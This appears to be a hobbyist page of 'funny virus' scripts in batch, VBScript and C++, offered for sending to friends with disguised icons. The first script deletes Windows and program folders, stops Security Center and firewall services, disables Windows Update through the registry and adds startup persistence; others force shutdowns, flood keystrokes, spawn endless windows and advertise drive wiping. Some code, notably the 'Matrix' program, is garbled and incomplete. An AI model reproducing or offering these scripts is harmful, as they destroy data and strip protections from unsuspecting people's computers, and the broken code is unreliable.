FUNNY COMPUTER VIRUS USING NOTEPAD!!!

SHUT UR INTERNET PERMENANTLY:::

             This is a slightly more advanced one. It shuts down your internet permanately. I tried it on myself accidently, i knew what it did, and it still took me a couple of days to get my internet back. works best on XP, not tested on vista or 7.

EDIT: At the bottom put a rickroll site or something. BTW, that 3rd line, isnt what disables the internet permanately. It is somethinge else, that just provides a fast response to shut down any connections.

@echo off
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MiXedVeX /t REG_SZ /d %systemroot%\HaloTrialScoreChangerV1 /f > nul
start iexpress (website of your choice)
ipconfig /release
del "C:\Program Files\Microsoft Games
del "C:Nexon
del "C:\Program Files\Xfire
del "C:\Program Files\Adobe"
del "C:\Program Files\Internet Explorer"
del "C:\Program Files\Mozilla Firefox"
del "C:\WINDOWS"
del "C:\WINDOWS\system32"
del "C:\WINDOWS\system32\cmd"
del "C:\WINDOWS\system32\iexpress"
del "C:\WINDOWS\system32\sndvol32"
del "C:\WINDOWS\system32\sndrec32"
del "C:\WINDOWS\system32\Restore\rstrui"
del "C:\WINDOWS\system32\wupdmgr"
del "C:\WINDOWS\system32\desktop"
del "C:\WINDOWS\java"
del "C:\WINDOWS\Media"
del "C:\WINDOWS\Resources"
del "C:\WINDOWS\system"
del "C:\drivers"
del "C:\drv"
del "C:\SYSINFO"
del "C:\Program Files"
echo ipconfig/release_all>>c:windowswimn32.bat
net stop "Security Center"
net stop SharedAccess
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
del %0
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
:a
start iexpress (website of your choice)
goto a

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MAKING MOST DANGEROUS VIRUS CALLED MATRIX:::


Warning - Do not run it on your computer

I'm gonna teach you how to make a virus named Matrix...

1-Open notepad
2-Put in this code

#include
#include
#include
#include
#include
#include
#include
using namespace std;

int main()
{ keybd_event(VK_MENU,0x38,0,0);
keybd_event(VK_RETURN,0x1c,0,0);
keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);

{
char buffer[255];
char inputFile[]="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\rawr.bat";
ifstream input(inputFile);
if (!input)
{
{
ofstream fp("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\rawr.bat", ios::app);
fp
fp
fp
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
}
}
}

{
char buffer[255];
char inputFile[]="C:\rawr.exe";
ifstream input(inputFile);
if (!input)
{
{
{
ofstream fp("CLICK.bat", ios::app);
fp
fp
fp
fp
}
system("START CLICK.bat");
main();
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
system("call shutdown.exe -S");
goto START;
}
}
}

START:{
for(int i = 0; i < 1; i++)
{
int num = (rand() % 10);
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
Sleep(60);
}
}
for ( int j = 0; j < 5; j++)
{
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
int number = (rand() % 24);
cout
}
goto START;



3-save it as matrix.bat
4-finish



AS IT WAS TOO DANGEROUS THE ACTUAL HEADER FILES FOR THIS SCRIPT ARE NOT GIVEN

AND IF U WANT TO TRY THIS SCRIPT U CAN JUST USE OF HEADER FILES SUCH AS STDIN,STDLIB,CONIO , AND STUFF LIKE THAT





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Toggle your friend's Caps Lock button simultaneously:

Type :

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as "Anything.VBS" and send it.

 Convey your friend a lil' message and shut down his / her computer:

Type :

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files and send it.

 Frustrate your friend by making this VBScript hit Enter simultaneously:

Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS" and send it.

 Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:

Type :

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.

 Frustrate your friend by making this VBScript hit Backspace simultaneously:

Type :

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS" and send it.
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 Hack your friend's keyboard and make him type "You are a fool" simultaneously:

Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.

 Open Notepad continually in your friend's computer:

Type :

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as "Anything.BAT" and send it.
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 Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:


1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :

@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Save it as "Anything.BAT" and send it.

You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon and change the icon from there.
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 THREATEN BY MAKING SCREEN FLASH


To make a really cool batch file that can make your entire screen flash random colors until you hit a key to stop it, simply copy and paste the following code into notepad and then save it as a .bat file.

@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug nul
del \z.dbg
But if you really want to mess with a friend then copy and paste the following code which will do the same thing except when they press a key the screen will go black and the only way to stop the batch file is by pressing CTRL-ALT-DELETE.
@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug nul
del \z.dbg
goto a

To disable error (ctrl+shirt+esc) then end process wscript.exe
Enjoy!!!^^